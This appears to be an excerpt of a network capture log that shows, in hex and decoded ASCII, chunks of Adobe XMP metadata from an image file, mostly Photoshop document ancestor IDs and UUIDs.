2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 36 45 32 41 38 36 35 34 37 37 44 37 37 35 38 30 37 33 32 43 
36 34 43 35 43 46 32 39 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 37 38 36 45 41 33 32 32 35 
42 35 30 35 39 38 34 30 44 44 35 30 33 33 30 38 45 34 35 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
41 30 38 32 42 44 39 41 30 36 32 30 39 32 30 36 33 46 34 31 34 31 33 38 
Data Ascii: 0C6F16D499ACA</rdf:li> <rdf:li>A034E27B12C3E4B0A457DA54B2F1BE8E</rdf:li> <rdf:li>A06B02A
79F41638C7DFD57B4BB598263</rdf:li> <rdf:li>A06E2A865477D77580732C64C5CF29A6</rdf:li> <rdf:li>A0786EA
3225B5059840DD503308E45E1</rdf:li> <rdf:li>A082BD9A062092063F414138

2022-07-01 09:01:55 UTC 5103 IN Data Raw: 36 43 34 44 46 35 37 43 30 44 39 34 38 31 39 35 37 45 36 39 37 36 45 39 42 30 30 38 42 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 36 46 34 35 36 39 30 36 46 42 32 41 39 36 35 41 45 35 45 31 41 45 34 34 38 
31 31 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 42 34 33 32 36 33 32 35 34 35 43 42 44 45 
36 31 37 45 31 38 41 37 37 30 37 30 39 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 45 35 32 4
4 30 46 33 33 43 42 38 35 45 35 45 43 35 35 36 39 39 41 30 37 39 31 37 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 41 44 41 46 32 42 36 46 35 38 32 42 38 43 36 39 35 33 38 41 43 37 37 34 32 46 38 31 32 44 38 38 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 44 33 41 45 30 41 
Data Ascii: 6C4DF57C0D9481957E6976E9B008B</rdf:li> <rdf:li>ADA6F456906FB2A965AE5E1AE448116E</rdf:li> 
<rdf:li>ADAB432632545CBDE617E18A7707097D</rdf:li> <rdf:li>ADAE52D0F33CB85E5EC55699A07917F7</rdf:li> 
<rdf:li>ADAF2B6F582B8C69538AC7742F812D88</rdf:li> <rdf:li>ADD3AE0A
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2022-07-01 09:01:55 UTC 5110 IN Data Raw: 39 37 31 39 36 38 32 35 37 37 32 35 39 46 30 37 46 32 44 43 31 30 37 45 42 38 38 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 42 34 33 42 37 46 43 34 35 35 37 34 46 31 35 43 34 38 36 33 31 42 45 42 33 34 46 38 46 32 
31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 44 30 44 37 37 33 33 37 38 31 45 37 44 41 33 35 
36 46 44 43 34 44 33 43 31 39 31 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 46 44 36 34 34 3
4 37 36 43 37 46 35 41 44 38 32 38 42 41 34 35 30 36 41 33 39 39 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 42 34 34 33 39 43 42 39 30 38 30 44 33 37 33 46 39 33 38 34 34 45 46 46 45 31 41 42 39 31 31 42 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 34 35 31 32 38 35 34 39 
Data Ascii: 9719682577259F07F2DC107EB88</rdf:li> <rdf:li>B43B7FC45574F15C48631BEB34F8F21F</rdf:li> <
rdf:li>B43D0D7733781E7DA356FDC4D3C1910F</rdf:li> <rdf:li>B43FD644476C7F5AD828BA4506A399D9</rdf:li> <
rdf:li>B4439CB9080D373F93844EFFE1AB911B</rdf:li> <rdf:li>B445128549

2022-07-01 09:01:55 UTC 5151 IN Data Raw: 42 33 41 35 34 45 43 46 36 38 39 35 45 35 33 43 41 32 45 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 42 34 42 46 37 37 30 35 39 30 45 35 39 38 39 46 35 33 31 31 41 41 42 41 35 45 39 46 35 35 38 39 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 30 31 37 38 42 37 39 30 44 35 39 37 31 42 35 31 44 45 37 43 37 45 
37 42 42 32 35 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 37 37 30 36 37 35 34 43 31 46 44 4
1 44 46 32 45 42 38 39 36 38 31 46 32 37 45 45 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 38 
45 41 44 32 31 34 43 32 30 46 41 36 39 36 37 43 37 34 45 43 38 37 36 32 37 38 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 42 34 43 43 32 37 35 35 33 42 45 32 30 45 46 44 
Data Ascii: B3A54ECF6895E53CA2EC6</rdf:li> <rdf:li>B4BF770590E5989F5311AABA5E9F5589</rdf:li> <rdf:li
>B4C0178B790D5971B51DE7C7E7BB25FF</rdf:li> <rdf:li>B4C7706754C1FDADF2EB89681F27EE2C</rdf:li> <rdf:li
>B4C8EAD214C20FA6967C74EC87627866</rdf:li> <rdf:li>B4CC27553BE20EFD

2022-07-01 09:01:55 UTC 5167 IN Data Raw: 66 3a 6c 69 3e 43 32 41 34 36 30 45 46 32 30 31 43 33 31 44 38 33 42 32 37 36 30 35 46 41 42 44 38 38 38 
42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 41 42 41 35 37 35 31 46 42 42 46 41 35 39 31 31 34 
39 35 33 46 36 35 36 41 35 46 41 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 42 41 37 46 39 36 3
8 33 36 44 35 43 38 46 35 39 36 38 44 36 33 46 45 37 39 43 43 37 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 43 32 43 34 43 35 33 38 32 37 37 43 44 32 34 32 32 44 39 38 38 31 37 43 44 36 39 46 33 33 37 31 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 44 30 32 43 39 43 38 45 46 39 37 38 30 41 39 44 33 32 39 42 43 43 44 31 
41 31 43 35 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
Data Ascii: f:li>C2A460EF201C31D83B27605FABD888BB</rdf:li> <rdf:li>C2ABA5751FBBFA59114953F656A5FA4B<
/rdf:li> <rdf:li>C2BA7F96836D5C8F5968D63FE79CC75B</rdf:li> <rdf:li>C2C4C538277CD2422D98817CD69F3371<
/rdf:li> <rdf:li>C2D02C9C8EF9780A9D329BCCD1A1C586</rdf:li> <rdf:li>

2022-07-01 09:01:55 UTC 5183 IN Data Raw: 43 45 45 44 44 41 41 37 36 43 35 45 34 41 38 35 38 45 31 32 36 39 31 34 34 36 37 42 41 30 33 41 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 45 46 35 36 42 42 45 45 46 41 39 46 36 36 45 35 31 31 42 41 32 38 46 
43 35 34 33 31 34 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 30 33 34 46 43 46 38 38 35 42 31 4
4 32 34 44 35 32 44 35 44 38 38 36 43 44 37 39 37 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 31 
44 30 43 33 43 43 39 36 35 37 31 31 34 34 46 44 33 45 45 42 46 43 36 31 36 39 35 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 43 46 32 32 42 33 41 46 31 33 45 38 37 41 37 39 46 41 42 44 43 45 37 32 41 35 35 33 44 46 30 
43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 32 41 33 
Data Ascii: CEEDDAA76C5E4A858E126914467BA03A</rdf:li> <rdf:li>CEF56BBEEFA9F66E511BA28FC54314B9</rdf:li> 
<rdf:li>CF034FCF885B1D24D52D5D886CD79778</rdf:li> <rdf:li>CF1D0C3CC96571144FD3EEBFC6169588</rdf:li> 
<rdf:li>CF22B3AF13E87A79FABDCE72A553DF0C</rdf:li> <rdf:li>CF2A3

2022-07-01 09:01:55 UTC 5190 IN Data Raw: 3a 6c 69 3e 44 35 41 32 35 39 43 45 37 32 33 35 35 31 31 36 44 43 39 31 43 33 46 34 39 41 35 39 33 44 34 
44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 41 38 34 43 35 46 33 39 34 34 39 38 31 45 46 45 34 44 
37 42 45 44 41 31 33 45 33 32 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 43 44 31 41 41 45 41 3
5 41 41 31 45 43 31 39 38 36 35 41 30 33 30 38 41 36 30 32 36 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 44 35 43 46 42 46 46 37 39 34 31 31 39 39 33 30 46 39 46 30 35 37 32 33 37 32 45 46 46 30 44 45 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 44 32 38 44 31 38 37 33 32 39 32 35 33 32 31 31 37 30 30 46 36 32 30 36 42 
32 32 42 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 
Data Ascii: :li>D5A259CE72355116DC91C3F49A593D4D</rdf:li> <rdf:li>D5A84C5F3944981EFE4D7BEDA13E3260</
rdf:li> <rdf:li>D5CD1AAEA5AA1EC19865A0308A60263F</rdf:li> <rdf:li>D5CFBFF794119930F9F0572372EFF0DE</
rdf:li> <rdf:li>D5D28D187329253211700F6206B22BD3</rdf:li> <rdf:li>D

2022-07-01 09:01:55 UTC 5206 IN Data Raw: 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 32 34 35 31 38 42 44 42 37 34 44 46 36 44 
37 36 34 44 30 42 37 43 42 35 33 45 30 36 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 32 39 30 
30 35 46 37 45 42 42 43 42 35 38 46 45 30 39 44 41 35 38 42 38 34 44 33 42 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 45 33 33 37 34 31 43 41 43 30 41 41 44 43 44 32 44 31 37 45 44 41 37 34 33 30 38 32 45 38 30 43 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 35 38 42 35 45 31 44 42 46 36 33 37 37 41 32 43 37 34 44 32 
37 30 30 32 46 38 39 41 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 36 41 31 36 39 37 45 37 38 
44 30 45 43 42 32 45 38 36 32 34 41 31 41 37 38 45 39 32 45 41 3c 2f 72 
Data Ascii: A9</rdf:li> <rdf:li>E324518BDB74DF6D764D0B7CB53E06AD</rdf:li> <rdf:li>E329005F7EBBCB58FE
09DA58B84D3B93</rdf:li> <rdf:li>E33741CAC0AADCD2D17EDA743082E80C</rdf:li> <rdf:li>E358B5E1DBF6377A2C
74D27002F89ABE</rdf:li> <rdf:li>E36A1697E78D0ECB2E8624A1A78E92EA</r

2022-07-01 09:01:55 UTC 5222 IN Data Raw: 41 37 42 32 31 45 35 38 31 36 35 30 44 37 35 37 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
45 46 33 30 45 46 32 34 38 46 38 38 31 39 32 42 33 39 43 38 46 36 46 30 46 38 43 33 44 38 33 39 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 34 36 31 36 44 42 37 31 34 31 42 44 38 45 34 34 44 41 41 37 35 35 30 39 43 
35 42 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 43 42 37 38 31 41 38 43 37 43 38 46 42 43 3
1 34 38 38 36 38 34 43 36 32 44 33 30 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 45 39 41 45 
41 42 43 31 37 31 35 31 36 32 43 45 44 31 32 37 32 33 43 44 44 43 35 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 45 46 33 46 39 45 46 36 44 30 35 35 37 36 39 37 31 36 46 
Data Ascii: A7B21E581650D75711</rdf:li> <rdf:li>EF30EF248F88192B39C8F6F0F8C3D839</rdf:li> <rdf:li>EF
34616DB7141BD8E44DAA75509C5B92</rdf:li> <rdf:li>EF3CB781A8C7C8FBC1488684C62D3062</rdf:li> <rdf:li>EF
3E9AEABC1715162CED12723CDDC55B</rdf:li> <rdf:li>EF3F9EF6D055769716F

2022-07-01 09:01:55 UTC 5230 IN Data Raw: 34 37 33 46 43 46 45 38 45 41 38 44 46 35 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 
30 43 45 46 38 35 36 31 34 45 31 39 33 45 38 45 33 43 33 35 42 32 45 34 33 43 45 33 35 46 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 46 35 30 44 33 38 35 39 35 38 44 37 44 41 30 41 35 34 30 32 35 44 32 32 34 43 44 43 38 44 
41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 46 39 31 35 39 39 30 44 42 39 35 43 30 39 32 34 4
2 43 30 32 37 44 44 31 32 30 44 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 31 39 35 33 39 46 41 
33 44 35 35 39 43 43 43 39 34 31 44 30 45 41 39 36 30 43 31 44 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 46 35 33 43 41 37 43 30 32 34 42 37 31 46 31 35 32 36 32 31 35 
Data Ascii: 473FCFE8EA8DF5AC</rdf:li> <rdf:li>F50CEF85614E193E8E3C35B2E43CE35F</rdf:li> <rdf:li>F50D
385958D7DA0A54025D224CDC8DA4</rdf:li> <rdf:li>F50F915990DB95C0924BC027DD120D77</rdf:li> <rdf:li>F519
539FA3D559CCC941D0EA960C1DFD</rdf:li> <rdf:li>F53CA7C024B71F1526215
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2022-07-01 09:01:55 UTC 5246 IN Data Raw: 65 31 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 
6f 74 6f 73 68 6f 70 3a 30 61 64 64 32 66 64 30 2d 64 33 32 36 2d 31 31 64 64 2d 61 64 36 30 2d 64 38 35 64 38 30 38 
30 36 61 64 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 
73 68 6f 70 3a 30 61 65 37 64 37 35 32 2d 38 63 61 64 2d 31 31 64 39 2d 62 39 33 34 2d 62 38 37 39 39 31 35 63 39 31 
34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 
70 3a 30 62 39 38 38 61 62 62 2d 65 30 38 63 2d 31 31 64 37 2d 38 64 34 34 2d 38 32 64 32 31 62 33 61 36 38 30 66 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 
Data Ascii: e120</rdf:li> <rdf:li>adobe:docid:photoshop:0add2fd0-d326-11dd-ad60-d85d80806ad1</rdf:li> <rdf:li>
adobe:docid:photoshop:0ae7d752-8cad-11d9-b934-b879915c9142</rdf:li> <rdf:li>adobe:docid:photoshop:0b988abb-e08
c-11d7-8d44-82d21b3a680f</rdf:li> <rdf:li>adobe

2022-07-01 09:01:55 UTC 5262 IN Data Raw: 33 64 66 33 65 32 32 65 2d 62 35 36 65 2d 31 31 64 64 2d 61 64 35 32 2d 62 64 32 36 61 63 39 30 66 33 66 
36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 
3a 33 64 66 38 35 38 32 32 2d 62 66 35 66 2d 31 31 65 37 2d 38 64 39 65 2d 65 61 61 39 66 39 65 66 35 36 35 31 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 65 
30 62 31 33 35 32 2d 62 34 37 62 2d 31 31 65 34 2d 39 30 61 39 2d 61 30 61 61 66 35 66 35 31 61 62 31 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 65 34 31 39 
37 62 39 2d 61 30 34 64 2d 31 31 65 37 2d 61 35 35 39 2d 62 64 61 
Data Ascii: 3df3e22e-b56e-11dd-ad52-bd26ac90f3f6</rdf:li> <rdf:li>adobe:docid:photoshop:3df85822-bf5f-11e7-8d9e-
eaa9f9ef5651</rdf:li> <rdf:li>adobe:docid:photoshop:3e0b1352-b47b-11e4-90a9-a0aaf5f51ab1</rdf:li> <rdf:li>ad
obe:docid:photoshop:3e4197b9-a04d-11e7-a559-bda

2022-07-01 09:01:55 UTC 5269 IN Data Raw: 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 32 62 39 36 62 65 65 
2d 33 33 31 30 2d 31 31 37 39 2d 38 37 39 35 2d 66 61 37 38 31 65 62 65 34 37 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 32 62 64 35 38 37 32 2d 39 39 
32 65 2d 31 31 64 39 2d 38 31 64 34 2d 39 62 37 64 30 31 66 39 37 32 32 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 33 34 32 62 66 36 38 2d 30 66 36 37 2d 
31 31 64 65 2d 38 63 38 39 2d 61 62 64 38 36 38 31 35 32 39 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 
Data Ascii: df:li>adobe:docid:photoshop:52b96bee-3310-1179-8795-fa781ebe4746</rdf:li> <rdf:li>adobe:docid:phot
oshop:52bd5872-992e-11d9-81d4-9b7d01f9722d</rdf:li> <rdf:li>adobe:docid:photoshop:5342bf68-0f67-11de-8c89-abd8
68152904</rdf:li> <rdf:li>adobe:docid:photoshop

2022-07-01 09:01:55 UTC 5285 IN Data Raw: 37 37 2d 38 34 64 62 2d 39 66 38 61 38 63 63 66 32 63 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 32 66 39 36 65 64 36 2d 36 37 61 62 2d 31 31 
65 37 2d 61 36 36 38 2d 62 33 38 63 35 31 62 36 39 37 35 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 
64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 33 30 62 65 38 36 32 2d 36 66 62 34 2d 31 31 64 64 2d 
39 63 31 37 2d 63 37 64 38 39 39 37 66 34 30 38 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 
65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 33 33 38 62 39 63 34 2d 62 34 64 65 2d 31 31 37 61 2d 39 66 32 
37 2d 65 64 35 32 35 37 30 62 36 31 31 65 3c 2f 72 64 66 3a 6c 
Data Ascii: 77-84db-9f8a8ccf2c09</rdf:li> <rdf:li>adobe:docid:photoshop:82f96ed6-67ab-11e7-a668-b38c51b6975b</
rdf:li> <rdf:li>adobe:docid:photoshop:830be862-6fb4-11dd-9c17-c7d8997f408c</rdf:li> <rdf:li>adobe:docid:photos
hop:8338b9c4-b4de-117a-9f27-ed52570b611e</rdf:l

2022-07-01 09:01:55 UTC 5301 IN Data Raw: 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 38 62 64 64 31 37 61 2d 61 64 31 62 2d 31 31 65 36 2d 62 
62 64 30 2d 64 32 65 33 32 66 36 61 61 66 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 
3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 38 65 38 63 63 38 34 2d 64 39 33 65 2d 31 31 65 37 2d 61 62 32 64 
2d 65 66 39 31 34 32 64 64 65 36 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 
69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 39 31 62 30 37 66 38 2d 34 61 66 33 2d 31 31 65 37 2d 61 35 61 39 2d 65 37 
64 35 62 33 34 37 34 33 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 
70 68 6f 74 6f 73 68 6f 70 3a 62 39 32 38 36 65 34 39 2d 62 65 
Data Ascii: docid:photoshop:b8bdd17a-ad1b-11e6-bbd0-d2e32f6aaf17</rdf:li> <rdf:li>adobe:docid:photoshop:b8e8cc84-
d93e-11e7-ab2d-ef9142dde686</rdf:li> <rdf:li>adobe:docid:photoshop:b91b07f8-4af3-11e7-a5a9-e7d5b3474394</rdf:li> 
<rdf:li>adobe:docid:photoshop:b9286e49-be

2022-07-01 09:01:55 UTC 5309 IN Data Raw: 39 39 32 32 33 61 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 
3a 70 68 6f 74 6f 73 68 6f 70 3a 64 33 34 38 31 39 39 35 2d 31 62 65 37 2d 31 31 64 61 2d 62 32 34 63 2d 62 65 32 36 
64 62 62 34 32 37 64 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 
6f 74 6f 73 68 6f 70 3a 64 34 63 63 65 35 31 64 2d 65 34 62 37 2d 31 31 65 36 2d 39 66 33 34 2d 65 30 63 34 65 32 65 
62 37 36 35 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 
73 68 6f 70 3a 64 35 37 34 30 31 61 38 2d 31 38 35 39 2d 31 31 37 61 2d 61 36 34 63 2d 65 61 34 66 34 30 32 30 34 39 
33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 
Data Ascii: 99223a6</rdf:li> <rdf:li>adobe:docid:photoshop:d3481995-1be7-11da-b24c-be26dbb427d9</rdf:li> <rdf:
li>adobe:docid:photoshop:d4cce51d-e4b7-11e6-9f34-e0c4e2eb765d</rdf:li> <rdf:li>adobe:docid:photoshop:d57401a8-
1859-117a-a64c-ea4f40204932</rdf:li> <rdf:li>ad

2022-07-01 09:01:55 UTC 5325 IN Data Raw: 3e 75 75 69 64 3a 30 37 31 36 42 34 31 39 32 33 34 38 44 43 31 31 38 32 46 35 39 44 34 33 36 43 39 45 38 
45 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 31 45 43 39 34 36 46 38 31 41 31 
31 44 43 38 37 33 31 44 34 39 35 46 37 46 44 45 43 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 6
9 64 3a 30 37 36 45 33 34 34 31 31 32 41 36 44 46 31 31 41 44 31 38 38 30 31 39 34 39 42 45 43 42 35 44 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 38 35 44 39 36 46 37 38 34 39 44 46 31 31 38 30 43 32 
43 46 44 46 45 35 35 42 41 42 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 39 35 
34 44 45 36 36 36 41 45 45 30 31 31 41 38 39 33 39 39 35 35 42 44 45 31 39 
Data Ascii: >uuid:0716B4192348DC1182F59D436C9E8ECE</rdf:li> <rdf:li>uuid:071EC946F81A11DC8731D495F7F
DEC7E</rdf:li> <rdf:li>uuid:076E344112A6DF11AD18801949BECB5D</rdf:li> <rdf:li>uuid:0785D96F7849DF118
0C2CFDFE55BAB09</rdf:li> <rdf:li>uuid:07954DE666AEE011A8939955BDE19

2022-07-01 09:01:55 UTC 5381 IN Data Raw: 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 45 42 41 42 44 35 38 32 32 33 31 
45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 
75 69 64 3a 33 46 33 41 43 41 44 43 35 42 42 35 44 44 31 31 42 34 44 37 46 35 43 33 45 32 32 33 43 37 45 41 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 34 42 38 31 42 45 31 37 35 45 44 44 31 31 42 42 37 
34 46 45 35 42 35 30 31 46 42 45 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 35 
42 39 30 38 46 43 45 44 41 44 46 31 31 42 45 43 36 41 33 42 46 38 44 36 39 34 34 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 37 38 36 31 36 30 39 43 43 
Data Ascii: 3</rdf:li> <rdf:li>uuid:3EBABD582231E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:3F3ACADC5
BB5DD11B4D7F5C3E223C7EA</rdf:li> <rdf:li>uuid:3F4B81BE175EDD11BB74FE5B501FBEC4</rdf:li> <rdf:li>uuid
:3F5B908FCEDADF11BEC6A3BF8D694452</rdf:li> <rdf:li>uuid:3F7861609CC
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2022-07-01 09:01:55 UTC 5389 IN Data Raw: 75 69 64 3a 35 37 39 35 33 31 35 31 33 31 30 43 44 46 31 31 38 44 41 43 39 41 32 43 39 44 35 38 44 41 39 
36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 37 41 32 32 36 34 31 32 44 45 41 45 30 31 
31 38 43 43 46 38 46 41 35 36 46 46 38 44 36 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3
a 35 37 44 42 44 38 34 45 43 31 36 32 45 30 31 31 38 43 31 36 44 31 42 39 37 41 32 35 36 35 37 33 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 30 35 35 46 43 42 39 37 41 35 31 31 44 44 41 37 45 32 39 43 30 
46 33 36 32 37 30 46 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 32 45 41 44 42 
44 42 35 30 39 45 34 31 31 38 33 36 33 44 36 35 31 41 32 33 34 34 38 38 
Data Ascii: uid:57953151310CDF118DAC9A2C9D58DA96</rdf:li> <rdf:li>uuid:57A226412DEAE0118CCF8FA56FF8D
6A6</rdf:li> <rdf:li>uuid:57DBD84EC162E0118C16D1B97A256573</rdf:li> <rdf:li>uuid:58055FCB97A511DDA7E
29C0F36270FFB</rdf:li> <rdf:li>uuid:582EADBDB509E4118363D651A234488

2022-07-01 09:01:55 UTC 5405 IN Data Raw: 34 33 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 38 44 36 38 46 34 36 
43 30 46 31 31 44 43 39 36 36 39 41 30 41 34 43 39 39 33 46 30 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
